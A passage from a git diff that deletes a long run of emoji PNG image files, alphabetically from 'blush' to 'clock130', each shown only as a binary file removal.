--- a/public/-/emojis/2/blush.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/boar.png b/public/-/emojis/2/boar.png
deleted file mode 100644
index 62bd6ee8103..00000000000
--- a/public/-/emojis/2/boar.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/boat.png b/public/-/emojis/2/boat.png
deleted file mode 100644
index 25360ab01ca..00000000000
--- a/public/-/emojis/2/boat.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bomb.png b/public/-/emojis/2/bomb.png
deleted file mode 100644
index e528c622230..00000000000
--- a/public/-/emojis/2/bomb.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bone.png b/public/-/emojis/2/bone.png
deleted file mode 100644
index 2bbdb057d65..00000000000
--- a/public/-/emojis/2/bone.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/book.png b/public/-/emojis/2/book.png
deleted file mode 100644
index d23ec6959e6..00000000000
--- a/public/-/emojis/2/book.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bookmark.png b/public/-/emojis/2/bookmark.png
deleted file mode 100644
index 39dda339b62..00000000000
--- a/public/-/emojis/2/bookmark.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bookmark_tabs.png b/public/-/emojis/2/bookmark_tabs.png
deleted file mode 100644
index ff92798a6e7..00000000000
--- a/public/-/emojis/2/bookmark_tabs.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/books.png b/public/-/emojis/2/books.png
deleted file mode 100644
index 84987a99db3..00000000000
--- a/public/-/emojis/2/books.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/boom.png b/public/-/emojis/2/boom.png
deleted file mode 100644
index 18f953a8f24..00000000000
--- a/public/-/emojis/2/boom.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/boot.png b/public/-/emojis/2/boot.png
deleted file mode 100644
index 14e334f5c78..00000000000
--- a/public/-/emojis/2/boot.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bouquet.png b/public/-/emojis/2/bouquet.png
deleted file mode 100644
index 2d30b70384a..00000000000
--- a/public/-/emojis/2/bouquet.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bow.png b/public/-/emojis/2/bow.png
deleted file mode 100644
index 8af157f4543..00000000000
--- a/public/-/emojis/2/bow.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bow_and_arrow.png b/public/-/emojis/2/bow_and_arrow.png
deleted file mode 100644
index a40bf4ef7ae..00000000000
--- a/public/-/emojis/2/bow_and_arrow.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bow_tone1.png b/public/-/emojis/2/bow_tone1.png
deleted file mode 100644
index dd82eecb0f4..00000000000
--- a/public/-/emojis/2/bow_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bow_tone2.png b/public/-/emojis/2/bow_tone2.png
deleted file mode 100644
index 56430d982c1..00000000000
--- a/public/-/emojis/2/bow_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bow_tone3.png b/public/-/emojis/2/bow_tone3.png
deleted file mode 100644
index 6bfd173600a..00000000000
--- a/public/-/emojis/2/bow_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bow_tone4.png b/public/-/emojis/2/bow_tone4.png
deleted file mode 100644
index d067f8701a2..00000000000
--- a/public/-/emojis/2/bow_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bow_tone5.png b/public/-/emojis/2/bow_tone5.png
deleted file mode 100644
index 975b11cefdb..00000000000
--- a/public/-/emojis/2/bow_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bowl_with_spoon.png b/public/-/emojis/2/bowl_with_spoon.png
deleted file mode 100644
index ee2116ca99a..00000000000
--- a/public/-/emojis/2/bowl_with_spoon.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bowling.png b/public/-/emojis/2/bowling.png
deleted file mode 100644
index 35c9af2cbe5..00000000000
--- a/public/-/emojis/2/bowling.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/boxing_glove.png b/public/-/emojis/2/boxing_glove.png
deleted file mode 100644
index 174c8009f64..00000000000
--- a/public/-/emojis/2/boxing_glove.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/boy.png b/public/-/emojis/2/boy.png
deleted file mode 100644
index 9aa2acc230e..00000000000
--- a/public/-/emojis/2/boy.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/boy_tone1.png b/public/-/emojis/2/boy_tone1.png
deleted file mode 100644
index efc8790434a..00000000000
--- a/public/-/emojis/2/boy_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/boy_tone2.png b/public/-/emojis/2/boy_tone2.png
deleted file mode 100644
index b469873c66d..00000000000
--- a/public/-/emojis/2/boy_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/boy_tone3.png b/public/-/emojis/2/boy_tone3.png
deleted file mode 100644
index eeff7c838e7..00000000000
--- a/public/-/emojis/2/boy_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/boy_tone4.png b/public/-/emojis/2/boy_tone4.png
deleted file mode 100644
index b9d6c38cb57..00000000000
--- a/public/-/emojis/2/boy_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/boy_tone5.png b/public/-/emojis/2/boy_tone5.png
deleted file mode 100644
index 37c1277764e..00000000000
--- a/public/-/emojis/2/boy_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/brain.png b/public/-/emojis/2/brain.png
deleted file mode 100644
index efff912d59d..00000000000
--- a/public/-/emojis/2/brain.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bread.png b/public/-/emojis/2/bread.png
deleted file mode 100644
index 3fe46c4619d..00000000000
--- a/public/-/emojis/2/bread.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/breast_feeding.png b/public/-/emojis/2/breast_feeding.png
deleted file mode 100644
index 4d7ae69f735..00000000000
--- a/public/-/emojis/2/breast_feeding.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/breast_feeding_tone1.png b/public/-/emojis/2/breast_feeding_tone1.png
deleted file mode 100644
index e7b45dae93a..00000000000
--- a/public/-/emojis/2/breast_feeding_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/breast_feeding_tone2.png b/public/-/emojis/2/breast_feeding_tone2.png
deleted file mode 100644
index c8074f881e4..00000000000
--- a/public/-/emojis/2/breast_feeding_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/breast_feeding_tone3.png b/public/-/emojis/2/breast_feeding_tone3.png
deleted file mode 100644
index e97665fc7d7..00000000000
--- a/public/-/emojis/2/breast_feeding_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/breast_feeding_tone4.png b/public/-/emojis/2/breast_feeding_tone4.png
deleted file mode 100644
index 0eaa28c362a..00000000000
--- a/public/-/emojis/2/breast_feeding_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/breast_feeding_tone5.png b/public/-/emojis/2/breast_feeding_tone5.png
deleted file mode 100644
index d4ce2deb851..00000000000
--- a/public/-/emojis/2/breast_feeding_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bricks.png b/public/-/emojis/2/bricks.png
deleted file mode 100644
index fcaa2ca3e8b..00000000000
--- a/public/-/emojis/2/bricks.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bride_with_veil.png b/public/-/emojis/2/bride_with_veil.png
deleted file mode 100644
index fa3ccc7b7f5..00000000000
--- a/public/-/emojis/2/bride_with_veil.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bride_with_veil_tone1.png b/public/-/emojis/2/bride_with_veil_tone1.png
deleted file mode 100644
index 7e83fab7fc7..00000000000
--- a/public/-/emojis/2/bride_with_veil_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bride_with_veil_tone2.png b/public/-/emojis/2/bride_with_veil_tone2.png
deleted file mode 100644
index 3466ce20ce7..00000000000
--- a/public/-/emojis/2/bride_with_veil_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bride_with_veil_tone3.png b/public/-/emojis/2/bride_with_veil_tone3.png
deleted file mode 100644
index 95e9b1b2ab9..00000000000
--- a/public/-/emojis/2/bride_with_veil_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bride_with_veil_tone4.png b/public/-/emojis/2/bride_with_veil_tone4.png
deleted file mode 100644
index dde5fa93c58..00000000000
--- a/public/-/emojis/2/bride_with_veil_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bride_with_veil_tone5.png b/public/-/emojis/2/bride_with_veil_tone5.png
deleted file mode 100644
index 27bd8fd0991..00000000000
--- a/public/-/emojis/2/bride_with_veil_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bridge_at_night.png b/public/-/emojis/2/bridge_at_night.png
deleted file mode 100644
index 7f90c92c891..00000000000
--- a/public/-/emojis/2/bridge_at_night.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/briefcase.png b/public/-/emojis/2/briefcase.png
deleted file mode 100644
index d3003095749..00000000000
--- a/public/-/emojis/2/briefcase.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/broccoli.png b/public/-/emojis/2/broccoli.png
deleted file mode 100644
index d66276c1501..00000000000
--- a/public/-/emojis/2/broccoli.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/broken_heart.png b/public/-/emojis/2/broken_heart.png
deleted file mode 100644
index 536c9b0698c..00000000000
--- a/public/-/emojis/2/broken_heart.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/broom.png b/public/-/emojis/2/broom.png
deleted file mode 100644
index 5568ae013bc..00000000000
--- a/public/-/emojis/2/broom.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bug.png b/public/-/emojis/2/bug.png
deleted file mode 100644
index 30c6c018aa7..00000000000
--- a/public/-/emojis/2/bug.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bulb.png b/public/-/emojis/2/bulb.png
deleted file mode 100644
index d090f6e49a7..00000000000
--- a/public/-/emojis/2/bulb.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bullettrain_front.png b/public/-/emojis/2/bullettrain_front.png
deleted file mode 100644
index 2b23bd62f37..00000000000
--- a/public/-/emojis/2/bullettrain_front.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bullettrain_side.png b/public/-/emojis/2/bullettrain_side.png
deleted file mode 100644
index aaf2cff945a..00000000000
--- a/public/-/emojis/2/bullettrain_side.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/burrito.png b/public/-/emojis/2/burrito.png
deleted file mode 100644
index 4a3eebc52e0..00000000000
--- a/public/-/emojis/2/burrito.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bus.png b/public/-/emojis/2/bus.png
deleted file mode 100644
index be439e8993b..00000000000
--- a/public/-/emojis/2/bus.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/busstop.png b/public/-/emojis/2/busstop.png
deleted file mode 100644
index 6b5803d3923..00000000000
--- a/public/-/emojis/2/busstop.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/bust_in_silhouette.png b/public/-/emojis/2/bust_in_silhouette.png
deleted file mode 100644
index 88942617147..00000000000
--- a/public/-/emojis/2/bust_in_silhouette.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/busts_in_silhouette.png b/public/-/emojis/2/busts_in_silhouette.png
deleted file mode 100644
index 8ddef23ca3d..00000000000
--- a/public/-/emojis/2/busts_in_silhouette.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/butterfly.png b/public/-/emojis/2/butterfly.png
deleted file mode 100644
index 79c47b7d32c..00000000000
--- a/public/-/emojis/2/butterfly.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cactus.png b/public/-/emojis/2/cactus.png
deleted file mode 100644
index 58d7e8d76d3..00000000000
--- a/public/-/emojis/2/cactus.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cake.png b/public/-/emojis/2/cake.png
deleted file mode 100644
index 3d765bba341..00000000000
--- a/public/-/emojis/2/cake.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/calendar.png b/public/-/emojis/2/calendar.png
deleted file mode 100644
index baa80b8501b..00000000000
--- a/public/-/emojis/2/calendar.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/calendar_spiral.png b/public/-/emojis/2/calendar_spiral.png
deleted file mode 100644
index dde0ad05a16..00000000000
--- a/public/-/emojis/2/calendar_spiral.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/call_me.png b/public/-/emojis/2/call_me.png
deleted file mode 100644
index 89e78c8a110..00000000000
--- a/public/-/emojis/2/call_me.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/call_me_tone1.png b/public/-/emojis/2/call_me_tone1.png
deleted file mode 100644
index 0c3eaf5807f..00000000000
--- a/public/-/emojis/2/call_me_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/call_me_tone2.png b/public/-/emojis/2/call_me_tone2.png
deleted file mode 100644
index 3c8cd0d860f..00000000000
--- a/public/-/emojis/2/call_me_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/call_me_tone3.png b/public/-/emojis/2/call_me_tone3.png
deleted file mode 100644
index a53d485fa3f..00000000000
--- a/public/-/emojis/2/call_me_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/call_me_tone4.png b/public/-/emojis/2/call_me_tone4.png
deleted file mode 100644
index 6e86143a42d..00000000000
--- a/public/-/emojis/2/call_me_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/call_me_tone5.png b/public/-/emojis/2/call_me_tone5.png
deleted file mode 100644
index 228e99c2f42..00000000000
--- a/public/-/emojis/2/call_me_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/calling.png b/public/-/emojis/2/calling.png
deleted file mode 100644
index e230fcc409f..00000000000
--- a/public/-/emojis/2/calling.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/camel.png b/public/-/emojis/2/camel.png
deleted file mode 100644
index 1247f06a4d0..00000000000
--- a/public/-/emojis/2/camel.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/camera.png b/public/-/emojis/2/camera.png
deleted file mode 100644
index 62aeadc58e8..00000000000
--- a/public/-/emojis/2/camera.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/camera_with_flash.png b/public/-/emojis/2/camera_with_flash.png
deleted file mode 100644
index eab1e3fdf42..00000000000
--- a/public/-/emojis/2/camera_with_flash.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/camping.png b/public/-/emojis/2/camping.png
deleted file mode 100644
index 79257c663e4..00000000000
--- a/public/-/emojis/2/camping.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cancer.png b/public/-/emojis/2/cancer.png
deleted file mode 100644
index 032304e8d2e..00000000000
--- a/public/-/emojis/2/cancer.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/candle.png b/public/-/emojis/2/candle.png
deleted file mode 100644
index 66d12d66c82..00000000000
--- a/public/-/emojis/2/candle.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/candy.png b/public/-/emojis/2/candy.png
deleted file mode 100644
index a5f55a30087..00000000000
--- a/public/-/emojis/2/candy.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/canned_food.png b/public/-/emojis/2/canned_food.png
deleted file mode 100644
index be5cdb372f8..00000000000
--- a/public/-/emojis/2/canned_food.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/canoe.png b/public/-/emojis/2/canoe.png
deleted file mode 100644
index 16eb59be48e..00000000000
--- a/public/-/emojis/2/canoe.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/capital_abcd.png b/public/-/emojis/2/capital_abcd.png
deleted file mode 100644
index 5c0c1d7bb16..00000000000
--- a/public/-/emojis/2/capital_abcd.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/capricorn.png b/public/-/emojis/2/capricorn.png
deleted file mode 100644
index 969ff006cf2..00000000000
--- a/public/-/emojis/2/capricorn.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/card_box.png b/public/-/emojis/2/card_box.png
deleted file mode 100644
index 6f588877aa1..00000000000
--- a/public/-/emojis/2/card_box.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/card_index.png b/public/-/emojis/2/card_index.png
deleted file mode 100644
index 8b4c909a4b2..00000000000
--- a/public/-/emojis/2/card_index.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/carousel_horse.png b/public/-/emojis/2/carousel_horse.png
deleted file mode 100644
index c122920fd69..00000000000
--- a/public/-/emojis/2/carousel_horse.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/carrot.png b/public/-/emojis/2/carrot.png
deleted file mode 100644
index b5c82e66820..00000000000
--- a/public/-/emojis/2/carrot.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cartwheel.png b/public/-/emojis/2/cartwheel.png
deleted file mode 100644
index b370be235c2..00000000000
--- a/public/-/emojis/2/cartwheel.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cartwheel_tone1.png b/public/-/emojis/2/cartwheel_tone1.png
deleted file mode 100644
index 781f7aa9908..00000000000
--- a/public/-/emojis/2/cartwheel_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cartwheel_tone2.png b/public/-/emojis/2/cartwheel_tone2.png
deleted file mode 100644
index 1aac9e16044..00000000000
--- a/public/-/emojis/2/cartwheel_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cartwheel_tone3.png b/public/-/emojis/2/cartwheel_tone3.png
deleted file mode 100644
index 99449a8c95d..00000000000
--- a/public/-/emojis/2/cartwheel_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cartwheel_tone4.png b/public/-/emojis/2/cartwheel_tone4.png
deleted file mode 100644
index dd6209f678a..00000000000
--- a/public/-/emojis/2/cartwheel_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cartwheel_tone5.png b/public/-/emojis/2/cartwheel_tone5.png
deleted file mode 100644
index f1a0a71099b..00000000000
--- a/public/-/emojis/2/cartwheel_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cat.png b/public/-/emojis/2/cat.png
deleted file mode 100644
index 28120d7da6e..00000000000
--- a/public/-/emojis/2/cat.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cat2.png b/public/-/emojis/2/cat2.png
deleted file mode 100644
index e084afbb413..00000000000
--- a/public/-/emojis/2/cat2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cd.png b/public/-/emojis/2/cd.png
deleted file mode 100644
index 37b8a6345b5..00000000000
--- a/public/-/emojis/2/cd.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/chains.png b/public/-/emojis/2/chains.png
deleted file mode 100644
index f7fbef4647f..00000000000
--- a/public/-/emojis/2/chains.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/champagne.png b/public/-/emojis/2/champagne.png
deleted file mode 100644
index b80f624af02..00000000000
--- a/public/-/emojis/2/champagne.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/champagne_glass.png b/public/-/emojis/2/champagne_glass.png
deleted file mode 100644
index e1816afabc8..00000000000
--- a/public/-/emojis/2/champagne_glass.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/chart.png b/public/-/emojis/2/chart.png
deleted file mode 100644
index ac3f2260bab..00000000000
--- a/public/-/emojis/2/chart.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/chart_with_downwards_trend.png b/public/-/emojis/2/chart_with_downwards_trend.png
deleted file mode 100644
index 75c6392b055..00000000000
--- a/public/-/emojis/2/chart_with_downwards_trend.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/chart_with_upwards_trend.png b/public/-/emojis/2/chart_with_upwards_trend.png
deleted file mode 100644
index 1b84af08418..00000000000
--- a/public/-/emojis/2/chart_with_upwards_trend.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/checkered_flag.png b/public/-/emojis/2/checkered_flag.png
deleted file mode 100644
index 1760efc3693..00000000000
--- a/public/-/emojis/2/checkered_flag.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cheese.png b/public/-/emojis/2/cheese.png
deleted file mode 100644
index a736acf19be..00000000000
--- a/public/-/emojis/2/cheese.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cherries.png b/public/-/emojis/2/cherries.png
deleted file mode 100644
index 0f647400f06..00000000000
--- a/public/-/emojis/2/cherries.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cherry_blossom.png b/public/-/emojis/2/cherry_blossom.png
deleted file mode 100644
index 3321607bbc3..00000000000
--- a/public/-/emojis/2/cherry_blossom.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/chess_pawn.png b/public/-/emojis/2/chess_pawn.png
deleted file mode 100644
index 3739e547048..00000000000
--- a/public/-/emojis/2/chess_pawn.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/chestnut.png b/public/-/emojis/2/chestnut.png
deleted file mode 100644
index d2775c94a97..00000000000
--- a/public/-/emojis/2/chestnut.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/chicken.png b/public/-/emojis/2/chicken.png
deleted file mode 100644
index 4dc5189b036..00000000000
--- a/public/-/emojis/2/chicken.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/child.png b/public/-/emojis/2/child.png
deleted file mode 100644
index 4e4598401d6..00000000000
--- a/public/-/emojis/2/child.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/child_tone1.png b/public/-/emojis/2/child_tone1.png
deleted file mode 100644
index 68f951acda2..00000000000
--- a/public/-/emojis/2/child_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/child_tone2.png b/public/-/emojis/2/child_tone2.png
deleted file mode 100644
index 9bf3dde2e9f..00000000000
--- a/public/-/emojis/2/child_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/child_tone3.png b/public/-/emojis/2/child_tone3.png
deleted file mode 100644
index 1df1dbcb72d..00000000000
--- a/public/-/emojis/2/child_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/child_tone4.png b/public/-/emojis/2/child_tone4.png
deleted file mode 100644
index 18cd18782a2..00000000000
--- a/public/-/emojis/2/child_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/child_tone5.png b/public/-/emojis/2/child_tone5.png
deleted file mode 100644
index a995ec3e838..00000000000
--- a/public/-/emojis/2/child_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/children_crossing.png b/public/-/emojis/2/children_crossing.png
deleted file mode 100644
index 2ba527c45ef..00000000000
--- a/public/-/emojis/2/children_crossing.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/chipmunk.png b/public/-/emojis/2/chipmunk.png
deleted file mode 100644
index 6ac67623843..00000000000
--- a/public/-/emojis/2/chipmunk.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/chocolate_bar.png b/public/-/emojis/2/chocolate_bar.png
deleted file mode 100644
index 6fb1fd83bf9..00000000000
--- a/public/-/emojis/2/chocolate_bar.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/chopsticks.png b/public/-/emojis/2/chopsticks.png
deleted file mode 100644
index 4fbada205c8..00000000000
--- a/public/-/emojis/2/chopsticks.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/christmas_tree.png b/public/-/emojis/2/christmas_tree.png
deleted file mode 100644
index 08053c91c24..00000000000
--- a/public/-/emojis/2/christmas_tree.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/church.png b/public/-/emojis/2/church.png
deleted file mode 100644
index 4981bf3cdfe..00000000000
--- a/public/-/emojis/2/church.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cinema.png b/public/-/emojis/2/cinema.png
deleted file mode 100644
index ac1967fe8aa..00000000000
--- a/public/-/emojis/2/cinema.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/circus_tent.png b/public/-/emojis/2/circus_tent.png
deleted file mode 100644
index dee041c36b8..00000000000
--- a/public/-/emojis/2/circus_tent.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/city_dusk.png b/public/-/emojis/2/city_dusk.png
deleted file mode 100644
index 9aa633af34a..00000000000
--- a/public/-/emojis/2/city_dusk.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/city_sunset.png b/public/-/emojis/2/city_sunset.png
deleted file mode 100644
index 63d2af0caef..00000000000
--- a/public/-/emojis/2/city_sunset.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cityscape.png b/public/-/emojis/2/cityscape.png
deleted file mode 100644
index 4acca772639..00000000000
--- a/public/-/emojis/2/cityscape.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/cl.png b/public/-/emojis/2/cl.png
deleted file mode 100644
index 31c32bc0bb0..00000000000
--- a/public/-/emojis/2/cl.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/clap.png b/public/-/emojis/2/clap.png
deleted file mode 100644
index 73b45fc4bd5..00000000000
--- a/public/-/emojis/2/clap.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/clap_tone1.png b/public/-/emojis/2/clap_tone1.png
deleted file mode 100644
index e7431c73633..00000000000
--- a/public/-/emojis/2/clap_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/clap_tone2.png b/public/-/emojis/2/clap_tone2.png
deleted file mode 100644
index 1c47683afb9..00000000000
--- a/public/-/emojis/2/clap_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/clap_tone3.png b/public/-/emojis/2/clap_tone3.png
deleted file mode 100644
index 6df10502cf9..00000000000
--- a/public/-/emojis/2/clap_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/clap_tone4.png b/public/-/emojis/2/clap_tone4.png
deleted file mode 100644
index d068d0a1a80..00000000000
--- a/public/-/emojis/2/clap_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/clap_tone5.png b/public/-/emojis/2/clap_tone5.png
deleted file mode 100644
index 21df374a21c..00000000000
--- a/public/-/emojis/2/clap_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/clapper.png b/public/-/emojis/2/clapper.png
deleted file mode 100644
index f199cc7ada7..00000000000
--- a/public/-/emojis/2/clapper.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/classical_building.png b/public/-/emojis/2/classical_building.png
deleted file mode 100644
index dc3475cbbad..00000000000
--- a/public/-/emojis/2/classical_building.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/clipboard.png b/public/-/emojis/2/clipboard.png
deleted file mode 100644
index 30717a57bfb..00000000000
--- a/public/-/emojis/2/clipboard.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/clock.png b/public/-/emojis/2/clock.png
deleted file mode 100644
index d27b46079e8..00000000000
--- a/public/-/emojis/2/clock.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/clock1.png b/public/-/emojis/2/clock1.png
deleted file mode 100644
index 8e10181383f..00000000000
--- a/public/-/emojis/2/clock1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/clock10.png b/public/-/emojis/2/clock10.png
deleted file mode 100644
index 9184f70837d..00000000000
--- a/public/-/emojis/2/clock10.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/clock1030.png b/public/-/emojis/2/clock1030.png
deleted file mode 100644
index ede8d1b0257..00000000000
--- a/public/-/emojis/2/clock1030.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/clock11.png b/public/-/emojis/2/clock11.png
deleted file mode 100644
index b9cb3fb5dd3..00000000000
--- a/public/-/emojis/2/clock11.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/clock1130.png b/public/-/emojis/2/clock1130.png
deleted file mode 100644
index 90e608702f6..00000000000
--- a/public/-/emojis/2/clock1130.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/clock12.png b/public/-/emojis/2/clock12.png
deleted file mode 100644
index 37a9c0073f9..00000000000
--- a/public/-/emojis/2/clock12.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/clock1230.png b/public/-/emojis/2/clock1230.png
deleted file mode 100644
index dd14cb5dd9f..00000000000
--- a/public/-/emojis/2/clock1230.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/clock130.png b/public/-/emojis/2/clock130.png
deleted file mode 100644
index a3f56900772..00000000000
--- a/public/-/emojis/2/clock130.png
+++ /dev/null
Binary files differ
